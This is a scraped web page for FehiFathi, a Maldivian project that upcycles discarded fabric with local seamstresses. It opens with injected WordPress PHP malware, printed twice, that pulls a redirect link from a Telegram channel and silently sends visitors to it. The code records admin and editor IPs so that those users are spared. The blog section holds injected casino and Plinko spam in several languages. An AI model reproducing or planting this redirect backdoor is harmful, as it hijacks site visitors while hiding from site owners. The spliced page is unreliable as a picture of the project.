add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } FehiFathi - Zero Waste Maldives

About FehiFathi

FehiFathi comprises of the two dhivehi words, Fehi meaning Green and Fathi meaning Stitch.

The project aims to reduce the amount of fabric waste that ends up in landfill by rescuing clothes that can be used secondhand. Up-cycling the clothes and fabric that is destined for landfill into reusable products.

The initiative is also focused on women empowerment and works exclusively with seamstresses throughout the Maldives and interested women’s development committees within the islands.

It is an initiative by Zero Waste Maldives, Dreamers Maldives and Preloved.mv.

How the Project Works

The project collects used clothes and fabric. We assess the used clothes to see if they can still be used as second hand clothes and divert them to be reused. The ones that do not make the cut get up cycled into other reusable products. Such as Tote bags, Cushion covers, Bean bag covers and other fabric based items. 

We follow the Zero Waste hierarchy of 7Rs Refuse, Reduce, Reuse, Repair, Re purpose, Recover and Recycle to determine how we deal with the fabrics that we receive. 

Meet our Seemstresses

Frequently Asked Questions

What kinds of Fabrics are used in this project?

All types of fabric that can be salvaged and re-purposed will be used in this project. This includes synthetic blends of fabric as well, but we prefer to use fabric that would as long as possible when it’s upcycled into another product. 

How do you collect the fabric for the project?

We collect fabric and discarded clothes through donations to our partners and from other initiatives that sell second-hand clothes. 

Who can partner with us?

Partnerships are open to everyone. We work with island councils, resorts, and guesthouses as well as SMEs. 

Where do you sell your products?

Most of our sales go through our Instagram @fehifathimv we do also have popups from time to time. These get announced on our Instagram page. 

Who can become seamstress for the project?

We are open to anyone to become a seamstress for the project. The more the merrier. 

How does the project financially sustain itself?

We sell the products made by our seamstresses. The project takes 10% for the project for advertising, marketing, delivery, and administration. The rest we distribute to the seamstresses. 

What have we been up to?

Mostbet Casino Online e Casa de Apostas em Portugal.4247

Mostbet – Casino Online e Casa de Apostas em Portugal ▶️ JOGAR Содержимое Mostbet - Casino Online e Casa de Apostas em PortugalDescubra as Melhores Opcões de Apostas e Jogos de Casino Em um mercado cada vez mais competitivo, a escolha certa é fundamental para garantir...

read more

The Impact of Gamification on Casino Engagement

Gamification has appeared as a strong tool in the casino industry, improving player participation and loyalty through gaming elements. By including features such as leaderboards, prizes, and tasks, casinos can create a more dynamic experience for their players. A 2023...

read more

Avis sur le jeu Plinko Tout ce que vous devez savoir_2

Avis sur le jeu Plinko : tout ce que vous devez savoirLes Règles du Jeu PlinkoLe Matériel NécessaireStratégies pour Gagner à PlinkoLes Variantes de PlinkoAvis des Joueurs sur PlinkoComment Profiter de l'Expérience PlinkoConclusions et Réflexions Finale Avis sur le jeu...

read more

Gioco Plinko nei casin online che accettano italiani.73

Gioco Plinko nei casinò online che accettano italiani ▶️ GIOCARE Содержимое Scopri i migliori siti di gioco online per italianiI migliori siti di gioco online per italianiRegole e strategie per vincere al PlinkoLe regole del Plinko Il gioco Plinko è un fenomeno del...

read more

Like what we do?

Let's Work Together?

Phone

+960 969 Zero Six Zero Zero